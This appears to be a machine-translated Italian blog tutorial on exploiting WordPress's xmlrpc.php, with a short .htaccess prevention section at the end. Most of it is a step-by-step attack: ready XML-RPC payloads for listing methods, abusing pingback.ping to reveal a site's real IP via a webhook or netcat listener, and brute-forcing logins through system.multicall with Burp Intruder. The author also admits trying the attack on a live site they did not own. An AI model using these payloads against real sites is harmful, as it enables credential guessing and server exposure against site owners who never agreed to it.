Articles

Sfruttare il xmlrpc.php

X

Privacy &Cookie

Questo sito utilizza i cookie. Continuando, accetti il loro utilizzo. Per saperne di più, incluso come controllare i cookie.

Capito!

Pubblicità

Che cos’è XML-RPC?

XML-RPC è un’API che deforma le informazioni o i dati in file XML e li invia all’applicazione mobile o al software remoto. Questo è stato introdotto come nei vecchi tempi, la velocità di internet non è veloce, invece di scriverlo online. Gli utenti scrivono i loro contenuti offline e li pubblicano tutti insieme usando l’API. Con il miglioramento dei servizi internet, la maggior parte di noi non usa più questa funzione, spesso è stata dimenticata da noi.

xml_for

Quali sono le vulnerabilità?

  1. Brute force attack. I motivi principali per eseguire l’attacco, è che questa API non ha tentativi di login cap sul sito. Possono non ottenere le credenziali corrette, ma ancora causando problemi come il sovraccarico del sito. La disponibilità del sito ne risente.
  2. Intercettare/rubare le informazioni di login. Manca un sistema di autenticazione. Ogni volta che l’utente cerca di accedere al sito, le credenziali di accesso vengono inviate all’interno del modulo XML. Se la connessione viene intercettata/MITM, i dati XML chiari sono esposti.
  3. XMLRPC pingback.ping. L’attaccante può utilizzare il metodo per recuperare il vero indirizzo pubblico del sito WordPress.

⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️

Prima di iniziare a mostrarvi le fasi dettagliate di esecuzione dei seguenti attacchi. Ogni vostra azione illegale che avete eseguito è per conto vostro. Non sono responsabile di nessuna delle vostre azioni. Si prega di impostare il proprio ambiente per farlo o chiedere il permesso prima di farlo.

⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️

Attacco XMLRPC usando Burpsuite

Prima controlla se XMLRPC.php è accessibile sul sito obiettivo. In questo caso, ho impostato un sito demo WordPress per effettuare l’attacco.

checking

“Il server XML-RPC accetta solo richieste POST.”

Utilizzando il metodo GET per recuperare il file, normalmente otterremo questo risultato.

In seguito, faremo un metodo POST per recuperare tutti i metodi utilizzabili nel server XMLRPC.

POST /xmlrpc.php/ HTTP/1.1Host: 192.168.220.137Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-SG,en-US;q=0.9,en;q=0.8Connection: closeContent-Length: 137<?xml version="1.0" encoding="utf-8"?> <methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>

methods

Il server vi risponderà con una lista di metodi che possono essere utilizzati. In questo caso, siamo particolarmente interessati al metodo pingback.ping. Una cosa da notare è che tutti questi dati in entrata e in uscita utilizzano il formato XML come spiegato sopra. Quindi, assicuratevi che il formato dei dati sia corretto.

Per effettuare l’attacco, dobbiamo preparare prima queste 2 cose

  1. Un webhook valido.URL del sito o qualsiasi altra alternativa come si preferisce come beeceptor e postbin
  2. Un URL valido di un post WordPress mirato.

<?xml version=”1.0″ encoding=”UTF-8″?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string></string></value>
</param>
<param>
<value><string></string></value>
</param>
</params>
</methodCall>

webhook

result

Di seguito un altro esempio di questo attacco effettuato su questo sito WordPress. SÌ! Quello che state guardando ora. Per curiosità, voglio provare ad attaccare il sito reale invece di quello che ho ospitato.

own

Come potete vedere, questo attacco non ha successo e nessun risultato viene mostrato nel postbin. Sembra che abbiano fatto qualche precauzione e prevenzione del sito WordPress online. Questo metodo è utile per il sito auto-installato e non ha disabilitato xmlrpc.php

Se non si desidera utilizzare POSTBIN, aprire NC e impostare la modalità di ascolto funziona anche! 👍👍

ncnc2

Brute force attack usando XMLRPC.php

Come detto sopra, non c’è limite al numero di tentativi. Ottenere una combinazione di nome utente e password di successo è solo questione di tempo. E inoltre, non ci sono meccanismi come il blocco dell’account, dopo un certo numero di tentativi.

<?xml version="1.0"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data><value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string></string></value><value><string></string></value></data></array></value></data></array></value></member></struct></value></data></array></value></param></params></methodCall>

Per mostrare la differenza tra login riuscito e non riuscito, ecco un esempio.

brute

E naturalmente, si dovrebbe usare Intruder per eseguire questo tipo di attacchi brute force.

Prima di tutto, controllate l’obiettivo dell’attacco, nel mio caso userò l’indirizzo IP del mio sito.

target

Dobbiamo impostare le Posizioni del carico utile e scegliere ‘Cluster bomb’ nella lista del tipo di attacco. Buona risorsa per leggere le posizioni e i tipi di attacco

postion

Qui, abbiamo bisogno di impostare 2 posizioni del carico utile, ‘username’ e password. Poi, dobbiamo impostare l’elenco delle parole. Questa è la documentazione dei tipi di Payload

usernamepassword

Clicca ‘Inizia attacco’ quando sei pronto

success

Come possiamo osservare, una delle richieste ha lunghezza diversa. E quando controlliamo i dati grezzi sotto la scheda della risposta, ci mostrano che questa serie di combinazioni ha effettuato con successo il login.

Prevenzione

  1. Installa plugin per i pigri
  2. Disabilita xmlrpc.php usando .htaccess

# Negare a chiunque l’accesso al file
<Files xmlrpc.php>
order deny,allow
deny from all
</Files>